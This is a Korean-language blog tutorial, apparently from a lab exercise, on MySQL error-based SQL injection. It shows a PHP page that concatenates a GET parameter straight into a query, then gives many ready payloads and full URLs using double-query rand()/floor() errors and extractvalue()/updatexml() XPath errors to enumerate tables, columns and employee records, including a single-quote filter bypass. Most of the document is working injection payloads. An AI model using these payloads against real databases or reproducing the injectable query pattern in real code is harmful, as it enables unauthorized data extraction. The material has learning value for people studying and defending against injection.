Self-Improvement

MySQL Error(Double Query, XML 내장함수) SQLi (rand(), floor(), limit, offset, ifnull, extractvalue(), updatexml()) 본문

SQLi

MySQL Error(Double Query, XML 내장함수) SQLi (rand(), floor(), limit, offset, ifnull, extractvalue(), updatexml())

JoGeun 2020. 4. 17. 13:34

소스코드 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
 
if(!$link = mysql_connect('localhost''root''root')) {
        echo 'Could not connect to mysql';
        exit;
}
 
if (!mysql_select_db('northwind'$link)){
        echo 'Could not select database';
        exit;
}
 
$_empid = $_GET['empid'];
$sql = 'SELECT * FROM Employees WHERE employeeid=' . $_empid;
$result = mysql_query($sql$link);
 
if(!$result){
        echo "db error, could not query the database\n";
        echo 'MySQL error: '.mysql_Error();
        exit;
}
 
print "<table border=1 cellpadding=5 cellspacing=0>\n";
print "\t<tr>\n\t\t<td>Employee ID</td><td>First Name</td><td>Title</td><td>Hire Date</td>\n\t</tr>";
while($row = mysql_fetch_assoc($result)){
        print "\t<tr>\n\t\t<td>".$row['EmployeeID']."</td><td>".$row['FirstName']."</td><td>".$row['Title']."</td><td>".$row['HireDate']."</td>\n\t</tr>\n";
}
print "</table>\n";
 
mysql_free_result($result);
?>
cs

- http://192.168.1.46/empinfo_id.php?empid=1

 

싱글쿼터 주입 시 에러 발생

- http://192.168.1.46/empinfo_id.php?empid=1%27

Double Query 방식

Double Query 방식으로 오류를 발생시켜 진행되는지 확인해 본다.

Payload : 1 and 1=(select count(*) from(select count(*), concat(version(), floor(rand(0)*2))a from information_schema.tables group by a)b)%23

- http://192.168.1.46/empinfo_id.php?empid=1%20and%201=(select%20count(*)%20from(select%20count(*),%20concat(version(),%20floor(rand(0)*2))a%20from%20information_schema.tables%20group%20by%20a)b)%23

데이터베이스 버전이 출력이 이루어졌음으로 다음으로는 limit, offset 사용과 함께 [테이블 추출]해본다.

offset 값을 변경하여 하나씩 추출하면 된다.

Payload : 1 and 1=(select a from(select count(*), concat((select table_name from information_schema.tables where table_type='base table' limit 1 offset 0), floor(rand(0)*2))a from information_schema.tables group by a)b)%23

- http://192.168.1.46/empinfo_id.php?empid=1%20and%201=(select%20a%20from(select%20count(*),%20concat((select%20table_name%20from%20information_schema.tables%20where%20table_type=%27base%20table%27%20limit%201%20offset%200),%20floor(rand(0)*2))a%20from%20information_schema.tables%20group%20by%20a)b)%23

 

[칼럼 추출]

Payload : 1 and 1=(select a from(select count(*), concat((select column_name from information_schema.columns where table_name='Employees' limit 1 offset 0), floor(rand(0)*2))a from information_schema.columns group by a)b)%23

- http://192.168.1.46/empinfo_id.php?empid=1%20and%201=(select%20a%20from(select%20count(*),%20concat((select%20column_name%20from%20information_schema.columns%20where%20table_name=%27Employees%27%20limit%201%20offset%200),%20floor(rand(0)*2))a%20from%20information_schema.columns%20group%20by%20a)b)%23

 

[데이터 추출]할 시엔 Null 값에 유의하면 MySQL에선 ifnull 함수를 사용하여 Null이 존재할 시에 치환을 해주며 concat으로 여러 데이터를 한번에 뽑아 준다.

Payload : 1 and 1=(select a from(select count(*), concat((select concat(ifnull(EmployeeID,''),ifnull(FirstName,'')) from Employees limit 1 offset 0), floor(rand(0)*2))a from Employees group by a)b)%23

- http://192.168.1.46/empinfo_id.php?empid=1%20and%201=(select%20a%20from(select%20count(*),%20concat((select%20concat(ifnull(EmployeeID,%27%27),ifnull(FirstName,%27%27))%20from%20Employees%20limit%201%20offset%200),%20floor(rand(0)*2))a%20from%20Employees%20group%20by%20a)b)%23

 

XML 내장함수

XML 내장함수에서 에러가 발생할 시 원인이 되는 XPATH 구문이 노출되는 형식이며 XPATH 구문에서 데이터를 획득하는 방법이다.

 

내장함수 중 extractvalue를 이용하여 진행이 가능한지 확인해본다.

Payload : 1 and 1=(extractvalue(1,concat(0x2c,version())))%23

- http://192.168.1.46/empinfo_id.php?empid=1%20and%201=(extractvalue(1,concat(0x2c,version())))%23

 

버전이 출력이 이루어 졌으므로 [테이블 정보]를 추출해본다.

Payload : 1 and 1=(extractvalue(1, concat(0x2c,(select table_name from information_schema.tables where table_type='base table' limit 1 offset 2))))%23

- http://192.168.1.46/empinfo_id.php?empid=1%20and%201=(extractvalue(1,%20concat(0x2c,(select%20table_name%20from%20information_schema.tables%20where%20table_type=%27base%20table%27%20limit%201%20offset%202))))%23

 

싱글쿼터 필터링이 존재할시 엔 substring, substr로도 출력이 가능하다.

Payload : 1 and 1=(extractvalue(1, concat(0x2c,(select table_name from information_schema.tables where substr(table_type,1,1)=(0x62) limit 1 offset 2))))%23

- http://192.168.1.46/empinfo_id.php?empid=1%20and%201=(extractvalue(1,%20concat(0x2c,(select%20table_name%20from%20information_schema.tables%20where%20substr(table_type,1,1)=(0x62)%20limit%201%20offset%202))))%23

 

[칼럼 추출]

Payload : 1 and 1=(extractvalue(1, concat(0x2c,(select column_name from information_schema.columns where table_name='Employees' limit 1 offset 2))))%23

- http://192.168.1.46/empinfo_id.php?empid=1%20and%201=(extractvalue(1,%20concat(0x2c,(select%20column_name%20from%20information_schema.columns%20where%20table_name=%27Employees%27%20limit%201%20offset%202))))%23

[데이터 추출] (concat(), concat_ws() 둘다 사용 가능)

Payload : 1 and 1=(extractvalue(1, concat(0x2c,(select concat(EmployeeID,0x2c,FirstName) from Employees limit 1 offset 2))))%23

- http://192.168.1.46/empinfo_id.php?empid=1%20and%201=(extractvalue(1,%20concat(0x2c,(select%20concat(EmployeeID,0x2c,FirstName)%20from%20Employees%20limit%201%20offset%202))))%23

 

XML 내장함수 같은 경우 에러가 출력되는 길이가 32길이로 제한이 존재한다. 그래서 데이터가 길때는 짤려서 나옴으로 substr(), substring()함수로 여러번 분할해서 출력을 해준다.

Payload1 : 1 and 1=(extractvalue(1, concat(0x2c,(select substr(concat_ws(0x2c,EmployeeID,FirstName,Title),1,32) from Employees limit 1 offset 2))))%23
Payload2 : 1 and 1=(extractvalue(1, concat(0x2c,(select substr(concat_ws(0x2c,EmployeeID,FirstName,Title),33,32) from Employees limit 1 offset 2))))%23

 

updatexml 내장함수도 같은 형식으로 이루어진다.

가능한 여부의 확인방법은 아래와 같이 이루어지며 진행이 가능하면은 같은 Payload를 삽입하여 진행한다.

Payload : 1 and 1=(updatexml(1,concat(0x2c,version()),1))%23

- http://192.168.1.46/empinfo_id.php?empid=1%20and%201=(updatexml(1,concat(0x2c,version()),1))%23

Payload : (updatexml(1,concat(0x2c,(select table_name from information_schema.tables where table_type='base table' limit 1 offset 1)),1))%23
Payload : (updatexml(1,concat(0x2c,(select table_name from information_schema.tables where substr(table_type,1,1)=(0x62) limit 1 offset 2)),1))%23
Payload : (updatexml(1,concat(0x2c,(select column_name from information_schema.columns where table_name='Employees' limit 1 offset 2)),1))%23
Payload : (updatexml(1,concat(0x2c,(select concat(EmployeeID,0x2c,FirstName) from Employees limit 1 offset 2)),1))%23 


Payload : (updatexml(1,concat(0x2c,(select substr(concat_ws(0x2c,EmployeeID,FirstName,Title),1,32) from Employees limit 1 offset 2)),1))%23